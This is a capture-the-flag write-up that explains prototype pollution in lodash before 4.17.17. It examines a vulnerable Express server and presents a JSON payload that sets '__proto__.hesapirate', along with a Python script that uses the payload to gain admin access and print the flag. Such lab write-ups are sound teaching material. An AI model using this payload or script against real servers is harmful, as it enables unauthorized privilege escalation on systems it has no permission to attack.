VERE - Web-3 - Node
Published at Feb 1, 2025

There were lots of different ways I could design this server to teach you prototype pollution, but I chose this one. This should follow the same principle as all prototype pollutions, but your payload will be a little different. This specific vulnerability doesn’t have a CVE assigned to it, but look for a prototype pollution in the lodash npm packages that affects versions before 4.17.17. When you find the right one everything should fall into place. Snyk is a great place to look for these kinds of things…
Understanding Prototype Pollution
The challenge author mentioned using the resource Snyk to understand this attack vector, so that was the first place I looked at. Prototype pollution is a vulnerability in JavaScript where an attacker can modify the prototype of an object. By injecting unexpected properties into global objects, an attacker can override behaviors and gain unintended access.
Since JavaScript objects inherit properties from their prototype, manipulating the prototype allows attackers to introduce arbitrary properties that apply to all objects. As such, prototype pollution violates the integrity of the objects, and can result in exposed data (confidentiality) and denial of service (availability), rounding out the CIA triad.
The Snyk lesson and some other examples described how this process works, which I practiced in my own browser:

In my own example, adminuser
is created with the attribute verified
set to true
. Subsequently, an eviluser
is created by the same process with the same data. Querying this attribute on each of these objects reveals that the data is correctly set to the desired value. However, setting the prototype of eviluser to have the new and arbitrarily named hacked
attribute with the associated data get rekt
isn’t confined solely to the eviluser
object, it creates a new attribute with a set value for everything within the eviluser
’s parent object… Including adminuser
. We can see that by querying the hacked
attribute of adminuser
, it reveals that this attribute has not only already been defined, but has a default value of get rekt
. Thus, setting the prototype of ONE object will set that attribute for ALL objects, unless they were specifically declared.
Examining the Server
Let’s take a look at the server source code, which was provided in the challenge description:
server.js
// imports
const express = require('express');
const fs = require('fs');
const _ = require('lodash');
// initializations
const app = express()
app.use(express.json());
const FLAG = fs.readFileSync('flag.txt', { encoding: 'utf8', flag: 'r' }).trim()
const PORT = 1337
let adminUsers = {
'admin':true,
}
app.get('/', async (req, res) => {
return res.send('You must send a GET request to /admin or POST request to /json');
});
app.post('/json', async (req, res) => { ... });
app.get('/admin', async (req, res) => { ... });
app.listen(PORT, async () => {
console.log(`Listening on ${PORT}`)
});
The bulk of the server comes from the two endpoints: /json
and /admin
. We are told from the /
endpoint that we need to “send a GET request to /admin or POST request to /json”. If we dig into these endpoints, we can see what these requests should contain.
Endpoint: /admin
app.get('/admin', async (req, res) => {
const username = req.query.username;
// ensure username is valid
if (typeof username !== 'string' || username.length < 9) {
return res.send('Invalid username')
}
// check to see if username is in adminUsers
if (adminUsers[username] === true) {
return res.send(FLAG)
}
return res.send('You are not an admin')
});
This function checks if the provided username is at least 9 characters long and exists in adminUsers
. If successful, the flag is returned.
Endpoint: /json
app.post('/json', async (req, res) => {
// ensure 'key' and 'value' are in the request body
if (!req.body.key || !req.body.value) {
return res.send('You must send 'key' and 'value' parameters in the request body')
}
const key = req.body.key;
const value = req.body.value;
// ensure key is a string
if (typeof key !== 'string') {
return res.send('Invalid key')
}
// hmmmmm
_.setWith({}, key, value);
return res.send('Success')
});
The challenge provided us a hint that there is “a prototype pollution in the lodash
npm packages that affects versions before 4.17.17
”, and checking the provided Dockerfile shows that this server is running 4.17.16
so we’re in business. The specific lodash
vulnerability is going to appear within the setWith
function that’s used here, and is kindly hinted at by the challenge author. If we set __proto__
properties, we might be able to escalate privileges.
Exploiting the Vulnerability
The goal here is to insert my custom user into the adminUsers
group and set it to true in order to get the flag.
let adminUsers = {
'admin':true, // The predefined admin user
// 'hesapirate':true // This is what I want to be in this dictionary by the end
}
The Source is where the pollution occurs, which would be the
_.setWith({}, key, value);
line in the /json
route. The _.setWith
function modifies an object at the given key path. However, because the first argument is {}
, Lodash
’s behavior allows writing to Object.prototype
if the key is set to __proto__
.
The polluted property is used in the /admin
route:
if (adminUsers[username] === true) {
return res.send(FLAG)
}
This is the Sink. Since adminUsers
is a normal object (let adminUsers = { 'admin': true }
), it inherits from Object.prototype.
The Gadget is how the polluted property is used to affect the application. The /admin
route checks adminUsers[username] === true
.
All this in mind, I can send the following payload:
{
"key": "__proto__.hesapirate",
"value": true
}
This sets
Object.prototype.hesapirate = true;
Now, every object in JavaScript, including adminUsers
, inherits this property. Since adminUsers
now inherits { hesapirate: true }
, any request with username=hesapirate
will return the flag.
Exploit Script
import requests
# URL of the server
base_url = "http://172.16.16.7:31858"
# Payload to exploit prototype pollution
payload = {
"key": "__proto__.hesapirate",
"value": True
}
# Send the payload to the /json endpoint
response = requests.post(f"{base_url}/json", json=payload)
print(f"Payload response: {response.text}")
# Access the /admin endpoint with the username 'hesapirate'
admin_response = requests.get(f"{base_url}/admin", params={"username": "hesapirate"})
print(f"Admin response: {admin_response.text}")
Retrieving the Flag
Running the script modifies the prototype, allowing our username to be recognized as an admin. Sending a GET request to /admin
with my_admin_account
retrieves the flag.
Flag

vere{1_kn0w_th1s_technique_is_k1nd4_compl1c4t3d_but_hacking_cant_be_all_th4t_345y,_right?_5d83134d33cd}